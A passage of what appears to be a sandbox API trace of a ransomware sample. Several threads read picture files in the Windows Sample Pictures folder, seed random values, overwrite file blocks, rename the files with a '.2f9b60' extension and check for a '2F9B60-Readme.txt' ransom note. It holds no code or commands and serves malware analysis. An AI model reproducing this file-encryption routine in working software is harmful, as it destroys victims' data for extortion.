(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cfe0) returned 1 [0171.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.165] WriteFile (in: hFile=0x17c8, lpBuffer=0x420ce530*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3a80f5c0, lpOverlapped=0x0 | out: lpBuffer=0x420ce530*, lpNumberOfBytesWritten=0x3a80f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420ce530) returned 1 [0194.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf980 [0194.862] SetFilePointerEx (in: hFile=0x17c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.863] WriteFile (in: hFile=0x17c8, lpBuffer=0x1cebd540*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x3a80f670, lpOverlapped=0x0 | out: lpBuffer=0x1cebd540*, lpNumberOfBytesWritten=0x3a80f670*=0x146, lpOverlapped=0x0) returned 1 [0206.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebd540) returned 1 [0206.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0206.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861260) returned 1 [0206.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861020) returned 1 [0206.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddf980) returned 1 [0206.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860f60) returned 1 [0206.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8611a0) returned 1 [0206.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8610b0) returned 1 [0206.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1ceba860 [0206.496] wcscpy (in: _Dest=0x1ceba860, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" [0206.496] wcscat (in: _Dest=0x1ceba860, _Source=".2f9b60" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.2f9b60") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.2f9b60" [0206.496] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.2f9b60", NtPathName=0x3a80f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431c5ee0 [0227.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c5ee0) returned 1 [0227.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4322a3d0) returned 1 [0227.000] NtQueryInformationFile (in: FileHandle=0x17c8, IoStatusBlock=0x3a80f6f8, FileInformation=0x3a80f708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a80f6f8, FileInformation=0x3a80f708) returned 0x0 [0227.000] NtSetInformationFile (FileHandle=0x17c8, IoStatusBlock=0x3a80f6f8, FileInformation=0x3a80f708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0234.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba860) returned 1 [0234.790] FlushFileBuffers (hFile=0x17c8) returned 1 [0238.177] CloseHandle (hObject=0x17c8) returned 1 [0240.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1ceba260 [0240.445] wcscpy (in: _Dest=0x1ceba260, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0240.445] wcscat (in: _Dest=0x1ceba260, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt" [0240.445] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt" (normalized: "c:\\users\\public\\pictures\\sample pictures\\2f9b60-readme.txt")) returned 0x20 [0240.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba260) returned 1 [0240.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ed40) returned 1 Thread: id = 1296 os_tid = 0xdfc [0116.692] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg")) returned 0x20 [0116.774] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", dwFileAttributes=0x20) returned 1 [0116.791] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1644 [0116.810] GetFileSizeEx (in: hFile=0x1644, lpFileSize=0x3b39f6e0 | out: lpFileSize=0x3b39f6e0*=595284) returned 1 [0116.811] SetFilePointerEx (in: hFile=0x1644, liDistanceToMove=0x91550, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.811] ReadFile (in: hFile=0x1644, lpBuffer=0x3b39f660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b39f6a8, lpOverlapped=0x0 | out: lpBuffer=0x3b39f660*, lpNumberOfBytesRead=0x3b39f6a8*=0x4, lpOverlapped=0x0) returned 1 [0116.814] SetFilePointerEx (in: hFile=0x1644, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0116.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635f0 [0116.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b90 [0116.815] NtQuerySystemTime (in: CurrentTime=0x3b39f5a0 | out: CurrentTime=0x3b39f5a0*=132462177222802000) returned 0x0 [0116.815] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x7dd9cfaf [0116.815] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x40b7e5b8 [0116.815] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x455b8ff [0116.815] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x79589a4d [0116.815] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x5d35a34b [0116.815] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x411c06ec [0116.815] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x1badc838 [0116.815] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x2d985d04 [0116.815] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x56aa3172 [0116.815] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x120fa2dd [0116.815] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x69c24539 [0116.815] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x2fa4400c [0116.815] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x4039746 [0116.815] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x5047e600 [0116.815] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x27ae78a9 [0116.816] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x6c078322 [0116.816] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x632be31 [0116.816] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x4c02eaa9 [0116.816] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x6df94d9 [0116.816] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x7c381dc5 [0116.816] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x127583b4 [0116.816] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x76abe4f3 [0116.816] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x440de7d8 [0116.816] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x6a48e97e [0116.816] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x783eed38 [0116.816] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x68f392a9 [0116.816] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x54eb58b8 [0116.816] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x6d2802a [0116.816] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x105721b3 [0116.816] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x84ac28 [0116.816] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x7c187283 [0116.816] RtlRandomEx (in: Seed=0x3b39f590 | out: Seed=0x3b39f590) returned 0x4532ed23 [0116.825] SetFilePointerEx (in: hFile=0x1644, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.825] ReadFile (in: hFile=0x1644, lpBuffer=0x41bb9560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b39f600, lpOverlapped=0x0 | out: lpBuffer=0x41bb9560*, lpNumberOfBytesRead=0x3b39f600*=0x3c00, lpOverlapped=0x0) returned 1 [0116.861] SetFilePointerEx (in: hFile=0x1644, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0116.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0116.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0116.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202619a0) returned 1 [0116.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41bb1d40 [0116.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0116.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa00 [0116.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fa00) returned 1 [0116.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0116.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0116.862] WriteFile (in: hFile=0x1644, lpBuffer=0x41bb1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b39f600, lpOverlapped=0x0 | out: lpBuffer=0x41bb1d40*, lpNumberOfBytesWritten=0x3b39f600*=0x3c00, lpOverlapped=0x0) returned 1 [0130.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bb1d40) returned 1 [0130.158] SetFilePointerEx (in: hFile=0x1644, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.158] ReadFile (in: hFile=0x1644, lpBuffer=0x41bb9560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b39f600, lpOverlapped=0x0 | out: lpBuffer=0x41bb9560*, lpNumberOfBytesRead=0x3b39f600*=0x3c00, lpOverlapped=0x0) returned 1 [0130.160] SetFilePointerEx (in: hFile=0x1644, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262a80 [0130.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262a80) returned 1 [0130.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41bb1d40 [0130.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262a80 [0130.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260cb0 [0130.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260cb0) returned 1 [0130.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.161] WriteFile (hFile=0x1644, lpBuffer=0x41bb1d40, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b39f600, lpOverlapped=0x0) [0170.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bb1d40) returned 1 [0170.988] SetFilePointerEx (in: hFile=0x1644, liDistanceToMove=0x8d954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.988] ReadFile (in: hFile=0x1644, lpBuffer=0x41bb9560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b39f600, lpOverlapped=0x0 | out: lpBuffer=0x41bb9560*, lpNumberOfBytesRead=0x3b39f600*=0x3c00, lpOverlapped=0x0) returned 1 [0171.166] SetFilePointerEx (in: hFile=0x1644, liDistanceToMove=0x8d954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cfe0 [0171.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1cfe0) returned 1 [0171.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42089960 [0171.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1cfe0 [0171.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d010 [0171.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d010) returned 1 [0171.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.168] WriteFile (in: hFile=0x1644, lpBuffer=0x42089960*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b39f600, lpOverlapped=0x0 | out: lpBuffer=0x42089960*, lpNumberOfBytesWritten=0x3b39f600*=0x3c00, lpOverlapped=0x0) returned 1 [0194.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42089960) returned 1 [0194.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf8a0 [0194.859] SetFilePointerEx (in: hFile=0x1644, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.859] WriteFile (in: hFile=0x1644, lpBuffer=0x431f49e0*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x3b39f6b0, lpOverlapped=0x0 | out: lpBuffer=0x431f49e0*, lpNumberOfBytesWritten=0x3b39f6b0*=0x14e, lpOverlapped=0x0) returned 1 [0199.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f49e0) returned 1 [0199.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5deb0) returned 1 [0199.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202619a0) returned 1 [0199.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5de70) returned 1 [0199.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddf8a0) returned 1 [0199.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202635f0) returned 1 [0199.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260530) returned 1 [0199.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262e10) returned 1 [0199.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x431d91d0 [0199.480] wcscpy (in: _Dest=0x431d91d0, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" [0199.480] wcscat (in: _Dest=0x431d91d0, _Source=".2f9b60" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.2f9b60") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.2f9b60" [0199.480] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.2f9b60", NtPathName=0x3b39f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x431f2a90 [0227.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f2a90) returned 1 [0227.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43099f20) returned 1 [0227.644] NtQueryInformationFile (in: FileHandle=0x1644, IoStatusBlock=0x3b39f738, FileInformation=0x3b39f748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3b39f738, FileInformation=0x3b39f748) returned 0x0 [0227.644] NtSetInformationFile (FileHandle=0x1644, IoStatusBlock=0x3b39f738, FileInformation=0x3b39f748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0233.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431d91d0) returned 1 [0233.150] FlushFileBuffers (hFile=0x1644) returned 1 [0235.038] CloseHandle (hObject=0x1644) returned 1 [0239.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b8693c0 [0239.503] wcscpy (in: _Dest=0x1b8693c0, _Source="C:\\Users\\Public\\Pictures\\Sample Pictures\\" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\" [0239.503] wcscat (in: _Dest=0x1b8693c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt") returned="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt" [0239.503] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\2F9B60-Readme.txt" (normalized: "c:\\users\\public\\pictures\\sample pictures\\2f9b60-readme.txt")) returned 0x20 [0240.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8693c0) returned 1 [0240.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f110) returned 1 Thread: id = 1297 os_tid = 0xe08 [0116.699] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg")) returned 0x20 [0116.774] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", dwFileAttributes=0x20) returned 1 [0116.790] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1718 [0116.812] GetFileSizeEx (in: hFile=0x1718, lpFileSize=0x3b52f700 | out: lpFileSize=0x3b52f700*=775702) returned 1 [0116.813] SetFilePointerEx (in: hFile=0x1718, liDistanceToMove=0xbd612, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.813] ReadFile (in: hFile=0x1718, lpBuffer=0x3b52f680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b52f6c8, lpOverlapped=0x0 | out: lpBuffer=0x3b52f680*, lpNumberOfBytesRead=0x3b52f6c8*=0x4, lpOverlapped=0x0) returned 1 [0116.829] SetFilePointerEx (in: hFile=0x1718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0116.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b90 [0116.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa00 [0116.829] NtQuerySystemTime (in: CurrentTime=0x3b52f5c0 | out: CurrentTime=0x3b52f5c0*=132462177222958000) returned 0x0 [0116.829] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x21de07fe [0116.829] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x4176a1cb [0116.829] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x182cf67a [0116.829] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x407e315 [0116.829] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x3412fd3d [0116.829] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x261fc81 [0116.829] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x5c0d85be [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x24fc6063 [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x6910ddb2 [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x6bf0d739 [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x21997208 [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x1051ebd1 [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x3ae68c37 [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x6ad94f66 [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x7adf5822 [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x11d495d [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x34de9fce [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x2bd56898 [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x1517ae99 [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x777a0a1e [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x7a1864ca [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x5df51138 [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x5a3d6b0f [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x6ab1dcfa [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x5b164a69 [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x6f2b2bc4 [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x773c2c8 [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x135d0bf9 [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x47a065f4 [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x2cec50cf [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x74387061 [0116.830] RtlRandomEx (in: Seed=0x3b52f5b0 | out: Seed=0x3b52f5b0) returned 0x6f235bd0 [0116.842] SetFilePointerEx (in: hFile=0x1718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.842] ReadFile (in: hFile=0x1718, lpBuffer=0x41bbd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b52f620, lpOverlapped=0x0 | out: lpBuffer=0x41bbd170*, lpNumberOfBytesRead=0x3b52f620*=0x3c00, lpOverlapped=0x0) returned 1 [0116.877] SetFilePointerEx (in: hFile=0x1718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0116.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0116.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa00 [0116.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fa00) returned 1 [0116.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ba2d00 [0116.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa00 [0116.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ea0 [0116.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ea0) returned 1 [0116.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0116.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0116.879] WriteFile (in: 